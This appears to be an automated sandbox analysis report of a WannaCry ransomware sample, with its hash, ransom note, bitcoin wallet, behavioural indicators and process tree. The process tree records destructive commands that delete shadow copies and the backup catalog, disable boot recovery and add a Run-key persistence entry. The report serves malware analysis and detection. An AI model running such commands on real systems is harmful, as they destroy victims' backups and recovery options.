Analysis
-
max time kernel
150s -
resource
win10v191014 -
submitted
10-12-2019 16:22
Task
task1
Sample
wannacry.exe
Resource
win7v191014
0 signatures
Task
task2
Sample
wannacry.exe
Resource
win10v191014
0 signatures
General
-
Target
wannacry.exe
-
Sample
191210-eg6ml5hv4x
-
SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Temp\@[email protected]
Family
wannacry
Ransom Note
Q: What's wrong with my files?
A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted.
If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!
Q: What do I do?
A: First, you need to pay service fees for the decryption.
Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
Next, please find an application file named "@[email protected]". It is the decrypt software.
Run and follow the instructions! (You may need to disable your antivirus for a while.)
Q: How can I trust?
A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.
* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.
�
Wallets
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
Signatures
-
Adds Run entry to start application 2 TTPs 1 IoCs
description ioc Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\nmsqcsinudawe237 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2336 @[email protected] 4180 @[email protected] 4380 @[email protected] 4136 @[email protected] 4504 @[email protected] -
Loads dropped DLL 1 IoCs
pid Process 2756 taskhsvc.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3372 reg.exe -
Deletes shadow copies 2 TTPs 2 IoCs
pid Process 5052 vssadmin.exe 4924 WMIC.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
-
Drops startup file 6 IoCs
description ioc Process File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDDF18.tmp wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDDF18.tmp wannacry.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDDF18.tmp wannacry.exe File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDDF3E.tmp wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDDF3E.tmp wannacry.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDDF3E.tmp wannacry.exe -
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4860 wrote to memory of 4888 4860 wannacry.exe 72 PID 4860 wrote to memory of 4896 4860 wannacry.exe 73 PID 4860 wrote to memory of 4232 4860 wannacry.exe 79 PID 4860 wrote to memory of 1020 4860 wannacry.exe 77 PID 4232 wrote to memory of 3152 4232 cmd.exe 81 PID 4860 wrote to memory of 2288 4860 wannacry.exe 85 PID 4860 wrote to memory of 4180 4860 wannacry.exe 86 PID 4860 wrote to memory of 4008 4860 wannacry.exe 87 PID 4008 wrote to memory of 2336 4008 cmd.exe 89 PID 4180 wrote to memory of 2756 4180 @[email protected] 91 PID 1600 wrote to memory of 2228 1600 SppExtComObj.exe 94 PID 2336 wrote to memory of 5020 2336 @[email protected] 96 PID 5020 wrote to memory of 5052 5020 cmd.exe 98 PID 5020 wrote to memory of 4924 5020 cmd.exe 100 PID 4860 wrote to memory of 1896 4860 wannacry.exe 101 PID 4860 wrote to memory of 4380 4860 wannacry.exe 102 PID 4860 wrote to memory of 364 4860 wannacry.exe 103 PID 364 wrote to memory of 3372 364 cmd.exe 105 PID 4860 wrote to memory of 4528 4860 wannacry.exe 106 PID 4860 wrote to memory of 4108 4860 wannacry.exe 116 PID 4860 wrote to memory of 4136 4860 wannacry.exe 117 PID 4860 wrote to memory of 2292 4860 wannacry.exe 118 PID 4860 wrote to memory of 4776 4860 wannacry.exe 119 PID 4860 wrote to memory of 4504 4860 wannacry.exe 120 PID 4860 wrote to memory of 4912 4860 wannacry.exe 121 -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 4896 icacls.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Set value (str) \REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4888 attrib.exe -
Executes dropped EXE 14 IoCs
pid Process 1020 taskdl.exe 2288 taskdl.exe 4180 @[email protected] 2336 @[email protected] 2756 taskhsvc.exe 1896 taskse.exe 4380 @[email protected] 4528 taskdl.exe 4108 taskse.exe 4136 @[email protected] 2292 taskdl.exe 4776 taskse.exe 4504 @[email protected] 4912 taskdl.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2756 taskhsvc.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeBackupPrivilege 5088 vssvc.exe Token: SeRestorePrivilege 5088 vssvc.exe Token: SeAuditPrivilege 5088 vssvc.exe Token: SeIncreaseQuotaPrivilege 4924 WMIC.exe Token: SeSecurityPrivilege 4924 WMIC.exe Token: SeTakeOwnershipPrivilege 4924 WMIC.exe Token: SeLoadDriverPrivilege 4924 WMIC.exe Token: SeSystemProfilePrivilege 4924 WMIC.exe Token: SeSystemtimePrivilege 4924 WMIC.exe Token: SeProfSingleProcessPrivilege 4924 WMIC.exe Token: SeIncBasePriorityPrivilege 4924 WMIC.exe Token: SeCreatePagefilePrivilege 4924 WMIC.exe Token: SeBackupPrivilege 4924 WMIC.exe Token: SeRestorePrivilege 4924 WMIC.exe Token: SeShutdownPrivilege 4924 WMIC.exe Token: SeDebugPrivilege 4924 WMIC.exe Token: SeSystemEnvironmentPrivilege 4924 WMIC.exe Token: SeRemoteShutdownPrivilege 4924 WMIC.exe Token: SeUndockPrivilege 4924 WMIC.exe Token: SeManageVolumePrivilege 4924 WMIC.exe Token: 33 4924 WMIC.exe Token: 34 4924 WMIC.exe Token: 35 4924 WMIC.exe Token: 36 4924 WMIC.exe Token: SeTcbPrivilege 1896 taskse.exe Token: SeTcbPrivilege 4108 taskse.exe Token: SeTcbPrivilege 4776 taskse.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\wannacry.exe"C:\Users\Admin\AppData\Local\Temp\wannacry.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:4888
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:4896
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 319981575998537.bat2⤵
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵PID:3152
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2288
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4180 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2756
-
-
-
C:\Windows\SysWOW64\cmd.exePID:4008
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2336 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Deletes shadow copies
PID:5052
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Deletes shadow copies
- Suspicious use of AdjustPrivilegeToken
PID:4924
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1896
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:4380
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
PID:3372
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:4528
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:4136
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2292
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4776
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:4504
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:4912
-
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:2228
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5088
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
PID:3512
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:68
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵PID:1400
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:1816
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵PID:2528